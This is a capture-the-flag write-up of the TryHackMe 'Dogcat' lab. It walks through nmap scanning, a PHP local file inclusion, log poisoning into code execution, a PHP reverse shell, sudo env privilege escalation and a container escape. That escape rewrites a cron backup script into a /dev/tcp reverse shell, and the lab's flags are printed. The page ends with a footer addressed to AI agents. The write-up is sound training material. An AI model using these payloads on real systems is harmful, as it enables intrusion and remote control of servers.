# Dogcat ## Scanning ### Nmap ``` root@ip-10-10-97-164:~# nmap -F 10.10.20.102 ​ Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-24 19:49 BST Nmap scan report for ip-10-10-20-102.eu-west-1.compute.internal (10.10.20.102) Host is up (0.0082s latency). Not shown: 98 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 02:6B:D4:2B:DC:C9 (Unknown) ​ Nmap done: 1 IP address (1 host up) scanned in 1.91 seconds ​ root@ip-10-10-97-164:~# nmap -sV -O 10.10.20.102 ​ Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-24 20:01 BST Nmap scan report for ip-10-10-20-102.eu-west-1.compute.internal (10.10.20.102) Host is up (0.00051s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 02:6B:D4:2B:DC:C9 (Unknown) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=9/24%OT=22%CT=1%CU=42340%PV=Y%DS=1%DC=D%G=Y%M=026BD4%T OS:M=614E20BB%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%TS=A OS:)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23 OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11) OS:WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W= OS:F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0 OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7 OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN= OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) ​ Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ​ OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.52 seconds ​ ``` *apache2-debian* ## Enumeration ### Port 80 after some enum i find this parameter *"view"* ![](/files/-MkOS97D44LEYiUEPJDg) i tried path traversal but throw back error lets try php-wrapper filter *"bypass required"* `http://10.10.20.102/?view=php://filter/convert.base64-encode/resource=cat/../index` ![](/files/-MkOSEzWKPq0S8hSLPpW) LFI vulnerability *"local file inclusion"* this encoded output is index.php ``` root@ip-10-10-97-164:~# echo "PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==" | base64 -d > index.php ``` index.php ![](/files/-MkOSK7NJDXXxNbhedUc) to avoid extension check we can set is as empty in get request `&ext` lets try access /etc/passwd *add ext var with empty value* `http://10.10.20.102/?view=cat/../../../../etc/passwd&ext` ![](/files/-MkOSNWeSZBdmB5rEJMt) ## Initial Access ### LFI to RCE google for where is logs for apache2-debian ![](/files/-MkOSQ285dxWw7xLYKE8) `http://10.10.20.102?view=cat/../../../../var/log/apache2/access.log&ext` ![](/files/-MkOSTqaGaK3Pw99nCz6) lets try to run php code in user agent header `curl http://10.10.20.102/?view=cat -A ""` ![](/files/-MkOSX96ifYtuqS2Z-5R) php code executed ... i tried to include bash reverse shell in same way ... not working lets try to include shell file ``` ``` setup http server in [shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php) directory ``` $ sudo python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` send the request with "payload" ``` $ curl -A "" \"http://10.10.197.237/?view=./dog/../../../../var/log/apache2/access.log&ext" ``` set up listener ``` $ nc -nlvp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.197.237. Ncat: Connection from 10.10.197.237:44922. Linux 28e9b7daee8b 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux 15:52:52 up 1:42, 0 users, load average: 0.00, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` * [x] Service Shell #### first flag: ``` $ find / -name *flag* 2>/dev/null /proc/sys/kernel/acpi_video_flags /proc/kpageflags /var/www/html/flag.php /var/www/flag2_QMW7JvaY2LvK.txt /usr/bin/dpkg-buildflags /usr/local/lib/php/build/ax_check_compile_flag.m4 /usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph /usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph /usr/include/x86_64-linux-gnu/asm/processor-flags.h /usr/include/x86_64-linux-gnu/bits/ss_flags.h /usr/include/x86_64-linux-gnu/bits/waitflags.h /usr/include/linux/kernel-page-flags.h /usr/include/linux/tty_flags.h /usr/share/dpkg/buildflags.mk /sys/devices/pnp0/00:06/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags ``` ``` $ cat /var/www/html/flag.php ``` #### What is flag 2? Still using our reverse shell: ``` $ cat /var/www/flag2_QMW7JvaY2LvK.txt THM{LF1_t0_RC3_aec3fb} ``` ## Privilege Escalation check if account has sudo privilege ``` $ sudo -l Matching Defaults entries for www-data on 28e9b7daee8b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin ​ User www-data may run the following commands on 28e9b7daee8b: (root) NOPASSWD: /usr/bin/env ``` , we see that we can take advantage of this to run a privileged shell with `sudo /usr/bin/env /bin/bash`: ``` $ sudo /usr/bin/env /bin/bash $ whoami root ``` * [x] Root Shell #### 3rd flag ``` $ find / -name *flag* 2>/dev/null /proc/sys/kernel/acpi_video_flags /proc/kpageflags /var/www/html/flag.php /var/www/flag2_QMW7JvaY2LvK.txt /usr/bin/dpkg-buildflags /usr/local/lib/php/build/ax_check_compile_flag.m4 /usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph /usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph /usr/include/x86_64-linux-gnu/asm/processor-flags.h /usr/include/x86_64-linux-gnu/bits/ss_flags.h /usr/include/x86_64-linux-gnu/bits/waitflags.h /usr/include/linux/kernel-page-flags.h /usr/include/linux/tty_flags.h /usr/share/dpkg/buildflags.mk /root/flag3.txt /sys/devices/pnp0/00:06/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags ``` ``` $ cat /root/flag3.txt THM{D1ff3r3nt_3nv1ronments_874112} ``` #### Are we inside a container? Still in our reverse shell, running the `hostname` command outputs `28e9b7daee8b`, which might be an indication that we are running inside a container. Listing the different directories at the root of the system reveals that `/opt/` contains backups: ``` $ cd /opt $ ls -l total 4 drwxr-xr-x 2 root root 4096 May 10 17:47 backups $ cd backups $ ls -l total 2884 -rwxr--r-- 1 root root 69 Mar 10 20:49 backup.sh -rw-r--r-- 1 root root 2949120 May 10 17:51 backup.tar ``` Here is the content of the script: ``` $ cat backup.sh #!/bin/bash tar cf /root/container/backup/backup.tar /root/container ``` Also refreshing the `ls -l` command reveals that the `backup.tar` archive is saved every minute. #### Escaping the container Let’s take advantage of that to modify the script and create a reverse shell to the main server and hence, escape the container. Let’s go to and get a bash reverse shell: ``` bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` OK, let’s transform the backup script into a reverse shell: ``` $ printf '#!/bin/bash\nbash -i >& /dev/tcp/10.9.0.54/8080 0>&1' > backup.sh ``` And open a listener on our machine: ``` $ nc -nlvp 8080 ``` The output from the reverse shell: ``` $ nc -nlvp 8080 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 10.10.197.237. Ncat: Connection from 10.10.197.237:36286. bash: cannot set terminal process group (13166): Inappropriate ioctl for device bash: no job control in this shell root@dogcat:~# whoami whoami root root@dogcat:~# hostname hostname dogcat root@dogcat:~# ls -l ls -l total 8 drwxr-xr-x 5 root root 4096 Mar 10 20:52 container -rw-r--r-- 1 root root 80 Mar 10 19:54 flag4.txt root@dogcat:~# cat flag4.txt cat flag4.txt THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d} ``` \ � --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/linux-boxes/dogcat.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.